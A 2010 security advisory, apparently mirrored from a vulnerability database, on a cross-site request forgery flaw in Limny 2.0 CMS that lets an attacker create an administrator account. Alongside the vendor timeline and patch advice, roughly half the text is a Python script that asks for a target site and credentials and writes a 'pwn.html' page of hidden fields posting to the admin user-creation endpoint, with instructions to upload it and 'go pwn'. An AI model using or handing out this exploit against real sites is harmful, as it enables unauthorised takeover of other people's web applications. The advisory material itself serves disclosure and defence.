Limny 2.0 - Cross-Site Request Forgery (Create Admin User)

🗓️ 16 Feb 2010 00:00:00Reported by Luis SantanaType
Limny 2.0 - Cross-Site Request Forgery exploit allows creation of admin use
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:Limny 2.0 CSRF               :  
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/Discovered By:              \ 
|Luis Santana                 |
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Overview
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The Limny 2.0 CMS is vulnerable to a Cross-Site-Request Forgery exploit which allows for a malicious attacker to create their own administrator user.

Product Information
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Product/Script: Limny CMS
Affected Version: 2.0

Vulnerability Type: CSRF
Security Risk: High

Vendor URL: http://www.limny.org/
Product/Script Demo: http://demo.opensourcecms.com/limny

Vendor Status: Informed
Patch/Fix Status:
Advisory Timeline: 02/15/10 : Vulnerability found, PoC created and vendor contacted
		              Update: Vendor has started working on patch.
                              Update: Vendor has created a Patch.

Advisory URL:

Product Description
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Limny is a powerful, module-based and lightweight CMS. It is programmed in PHP and uses MySQL database. 

Vulnerability Details
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By crafting a simple hidden form webpage with a simple javascript form auto-submitter hidden inside of an iframe an attacker is able to add their own administrator privilleged user.

Proof of Concept
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See included .zip file for unweaponized (you need to click the "Save" button for the exploit to launch) PoC

Patch/Fix Suggestion(s)
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Implementing form cookies and checking for HTTP Referer would provide an adequate means of patching this vulnerability.

Security Risk
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This vulnerability is estimated to have a HIGH security risk.

Author:
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The Author and Researcher of this Advisory is Luis Santana of the HackTalk Security Team

'''
Limny 2.0 CSRF Exploit
Discovered By: Luis Santana
Script By: Luis Santana
HackTalk.net

Shoutz to the Evilzone.org community, Shardy, Rage, Xires and Stacy
'''

__version__= 1.0

p = open("pwn.html", "w")
p.write('''<html>
<head>
<title>Limny2.0 CSRF by Luis Santana
</head>
<body>
<h1>Press Save and Pwn Away</h1>
''')
base = str(input("What is the target website? "))
p.write('<form name="adduser" action="')
p.write(base)
p.write('''/limny/?q=admin/modules/user/new" method="post" enctype="multipart/form-data">
''')
p.write("<table>")
username = str(input("What username do you want? "))
email = str(input("What email (can be fake) do you want? "))
password = str(input("What password do you want? "))
p.write('''<input name="user" type="hidden"  value="''')
p.write(username)
p.write('" /></td>')
p.write('<td><input name="email" type="hidden" value="')
p.write(email)
p.write('"></td>')
p.write('<td><input name="pass" type="hidden"  value="')
p.write(password)
p.write('"></td>')
p.write('<td><input name="confirmpass" type="hidden" value="')
p.write(password)
p.write('"></td>')
p.write('''<td><select name="language"><option value="english" selected="selected">English</option></select></td>
<td><select name="usergroup"><option value="1">Administrator</option><option value="2">Moderator</option><option value="3" selected="selected">Administrator</option></select></td></tr>
<td><input name=""picture" type="file" value="" /></td></tr><tr><td colspan="2"><button name="submit" type="submit">Save</button></td></tr></table></form>
</body>
</html>''')
p.close()
print("pwn.html has been created successfully! Upload this file to your webserver and then go pwn")
16 Feb 2010 00:00Current
7.4High risk
Vulners AI Score7.4